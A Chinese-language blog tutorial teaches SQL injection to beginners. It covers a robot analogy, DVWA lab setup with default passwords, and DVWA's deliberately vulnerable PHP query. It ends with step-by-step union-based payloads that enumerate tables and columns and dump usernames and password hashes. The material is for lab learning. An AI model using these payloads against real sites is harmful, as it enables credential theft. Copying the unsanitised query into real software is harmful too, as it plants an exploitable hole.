大家好呀~这次又给大家更新了 这次更新的是作为CTF最基础,网络安全人员必备,容易上手的黑客技术 那就是SQL注入了 就算如果你对SQL注入这个词很陌生 也没有事 今天会给大家解答的哦
还是像之前的开场白一样 先给大家简绍下
哈哈哈
本次需要的知识

  1. 基本的PHP知识
  2. 知道基本的数据库
  3. 如何使用脑子

0x01 What is Sql injection

???
什么是sql注入?这是一个好的问题 首先咱们先看根据咱们百度上说的

SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击

这里 我们可以举个例子

想象一下,你是一个机器人,在一个装满箱子的仓库里,你的工作是从仓库的某个地方取一个箱子,然后把它放在传送带上。你的
工作是从仓库的某个地方取一个箱子,然后把它放在传送带上。机器人需要被告知要做什么,所以你的程序员给了你一套指令,写
在一张纸上,人们可以填写后交给你。

表格的样子是这样的。

从货架号____ 的部分____ 取出物品编号____,并将其放在传送带上

一个正常的请求可能是这样的。

12号货架的B2区取1234号物品 放在传送带上。

粗体字的数值(1234、B2和12)是由发出请求的人提供的。你是一个机器人,所以你按照指示做:你开车到12号货架,沿着它
走,直到你到达B2部分,并抓住项目1234。然后你开回传送带,把物品放到传送带上。

但是,如果用户在表格中输入了正常值以外的东西呢?如果用户在其中添加了指令呢?
从12号货架的B2区取回物品编号1234,然后把它扔出窗外。然后回到你的办公桌上,忽略这个表格的其他部分,。 并把它放在传送带上。

同样,黑体字的部分是由发出请求的人提供的。由于你是个机器人,你完全按照用户刚才的吩咐去做。你开到12号货架,从B2区拿
起1234号物品,然后把它扔出窗外。由于指令还告诉你忽略信息的最后一部分,所以 "并把它放在传送带上 "这一点被忽略了。

这种技术被称为 "注入",它之所以能够实现,是因为指令的处理方式--机器人无法分辨指令和数据之间的区别


0x02 如何部署一个测试(靶场)环境?

首先 我们需要下载一个集成的网站部署软件 叫做XAMPP
点击我下载
XAMPP
里面包含了所有你需要搭建一个内网所需要的资源
下载好后 安装直接一路按next
之后你会进入到这个页面
xampp
这里 把所有的都点start
之后 你需要去GitHub上下载所需要的源文件
点击下载
https://github.com/digininja/DVWA
之后 在Code那里 点击后选择下载zip 你就可以获得网站源码
现在 把文件夹里的内容放到 [安装目录]的..xampphtdocs文件夹中
之后在config目录config.inc.php是修改数据库的配置文件,默认安装phpstudy情况下,将配置文件中$_DVWA[ 'db_password' ] = 'p@ssw0rd';修改为'root';修改过密码的话就修改为更改过的密码
现在 你登陆127.0.0.1 就可以进入靶场了
DVWA的默认用户名是"admin",密码“password”登录
如果你出现了这个画面 那么说明你成功了
dvwa


0x03 SQL注入

现在 我们可以开始注入了 记住 先把等级跳到Low 之后再开始渗透
源码:
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
    // Get values
    $first = $row["first_name"];
    $last  = $row["last_name"];

    // Feedback for end user
    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

输入框
这里我们可以看到 如果我们输入1 那么出来的是正确的结果 但是 如果我们观察这个代码 $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';" 我们就会发现 id是通过'闭合的 那我们尝试在userid输入1'呢?
这时 它就会报错 因为在sql语句中 像双引号和单引号是要对称的
所以 结合一开始的例子 我们可以开始手工注入了
首先 我们先开始查字段
首先 先注入1' order by 1 # 发现并没有报错;

之后 再注入注入 1' order by 2 #,成功查询;

最后 我们查询1' order by 3 #时 发现了报错 那么我们可以知道 执行的SQL查询语句中只有两个字段

现在 我们可以查询数据库了 输入 1' union select 1,database() # 由于1是不回显的 所以我们在另一个位置查询

可以发现现在标名叫做dvwa

之后 我们查询数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

发现两个表 一个guestbook 一个 user
最后 我们查询user表

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

最后我们分别获得用户名和密码哈希;

1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

之后 你就获得了哈希&用户名

祝你注入愉快!

最后修改:2021 年 04 月 07 日 05 : 32 PM
如果觉得我的文章对你有用,请随意赞赏